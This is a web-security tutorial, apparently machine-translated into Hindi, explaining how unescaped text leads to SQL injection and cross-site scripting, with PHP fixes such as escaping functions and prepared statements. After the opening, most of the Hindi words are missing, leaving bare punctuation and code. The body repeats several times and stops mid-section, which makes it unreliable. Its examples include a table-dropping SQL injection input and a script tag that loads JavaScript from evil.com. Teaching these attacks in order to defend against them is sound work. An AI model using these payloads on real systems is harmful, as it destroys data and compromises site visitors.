🔍 👨‍🎤 ✊ पाठ में पाठ के साथ काम करने के लिए बचना (या आपको क्या जानना चाहिए) 🌶️ 🏂🏼 🤚

SQL इंजेक्शन, क्रॉस-साइट क्वेरी जालसाजी, दूषित XML ... डरावनी, डरावनी चीजें जो हम सभी खुद को सुरक्षित करना चाहते हैं, लेकिन यह जानने के लिए कि यह सब क्यों होता है। यह लेख इस सबके पीछे मूल अवधारणा की व्याख्या करता है: तार और तार के भीतर तार का प्रसंस्करण।

मुख्य समस्या

यह सिर्फ पाठ है। हां, बस पाठ - यह मुख्य समस्या है। कंप्यूटर प्रणाली में लगभग सब कुछ पाठ द्वारा दर्शाया गया है (जो बदले में, बाइट्स द्वारा दर्शाया गया है)। जब तक कुछ पाठ कंप्यूटर के लिए, और अन्य - लोगों के लिए अभिप्रेत नहीं हैं। लेकिन वे और वे दोनों अभी भी पाठ बने हुए हैं। यह समझने के लिए कि मैं किस बारे में बात कर रहा हूं, मैं एक छोटा सा उदाहरण दूंगा:

<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Suppose, there is the English text, which I don't wanna translate into Russian </contents> </article>

इस पर विश्वास न करें: यह पाठ है। कुछ लोग इसे एक्सएमएल कहते हैं, लेकिन यह सिर्फ पाठ है। यह एक अंग्रेजी शिक्षक को दिखाने के लिए उपयुक्त नहीं हो सकता है, लेकिन यह अभी भी एक पाठ है। आप इसे एक पोस्टर पर प्रिंट कर सकते हैं और इसके साथ बैठकों में जा सकते हैं, आप इसे अपनी मां को एक पत्र में लिख सकते हैं ... यह पाठ है।

हालाँकि, हम इस पाठ के कुछ भागों को अपने कंप्यूटर के लिए कुछ अर्थ देना चाहते हैं। हम चाहते हैं कि कंप्यूटर पाठ के लेखक और पाठ को अलग से निकालने में सक्षम हो ताकि इसके साथ कुछ किया जा सके। उदाहरण के लिए, उपरोक्त को इसमें परिवर्तित करें:

  Suppose, there is the English text, which I don't wanna translate into Russian by Homo Sapiens

कंप्यूटर यह कैसे करना जानता है? खैर, क्योंकि हमने पाठ के कुछ हिस्सों को विशेष रूप से मजाकिया कोष्ठक में विशेष शब्दों के साथ लपेटा है, जैसे कि । चूंकि हमने ऐसा किया है, हम एक प्रोग्राम लिख सकते हैं जो इन विशिष्ट भागों की खोज करता है, पाठ को निकालता है, और हमारे कुछ आविष्कारों के लिए इसका उपयोग करता है।

दूसरे शब्दों में, हमने अपने पाठ में कुछ विशेष अर्थों को इंगित करने के लिए कुछ नियमों का उपयोग किया है जो कि कोई व्यक्ति, समान नियमों का अवलोकन कर सकता है।
ठीक है, यह सब समझना मुश्किल नहीं है। लेकिन क्या होगा अगर हम इन अजीब कोष्ठकों का उपयोग करना चाहते हैं जो हमारे पाठ में कुछ विशेष अर्थ रखते हैं, लेकिन इस बहुत मूल्य का उपयोग किए बिना? .. कुछ इस तरह से:

 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x < n and y > n, x cannot be larger than y. </contents> </article>

"<" और ">" अक्षर कुछ खास नहीं हैं। वे किसी भी पाठ में कहीं भी वैध रूप से उपयोग किए जा सकते हैं, जैसा कि ऊपर दिए गए उदाहरण में है। लेकिन विशेष शब्दों के हमारे विचार के बारे में क्या

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

? , - ? XML - . . . , - , i . , - . <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x < n and y > n, x cannot be larger than y. </contents> </article> , . "<" "<", ">" - ">". - , , , . escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...] , , , , . , , : " , ?" . , (&) - . , "<", "<"? XML, escape- &, - " & ", .. : " &< " XML - "" . , : var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; - " " . : var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; ! ! , , , -? var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; ... , . , . . - , " ", . : var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; "\" . , -, , "\" - . , , : "\\". , ? ! , . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML . - SQL . SQL - , : SELECT phone_number FROM users WHERE name = 'Alex' , . , SQL . , : $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); , . "", , , , . , - . , , -, . , : $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , : - -! , - ! ! , - , ! ! , . $_POST['name'] - , -. SQL-, , . SQL "" . , ? , - : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' , , ? 2, , "" - '. ! 4 - . ? ... , ... , . , - : Joe, users ( '), . . , , , , , 10 . SQL-, . , , , , , .. , - "" . ! : XSS . , HTML. , , , -, . , , .. - - : <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> , , : <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> , , , , : <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> ... . , , , ? <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , ? - javascript ? , , , . . , - , , ! , "" , , . ? ? , ? , , ""? , ! , . - : $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , "" . SQL-, : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' mysql_real_escape_string , - . , : <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> htmlspecialchars , , . : <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , , "". HTML . ... , : , , . SQL, SQL. HTML, HTML. ( ), ( ). . , , , : Validation , . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization "" , . , - HTML-, . , . Prepared SQL statements , , : SQL- , . : $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); , . , . , . (), , . ( ) . "" - , . , , , SQL- ( HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
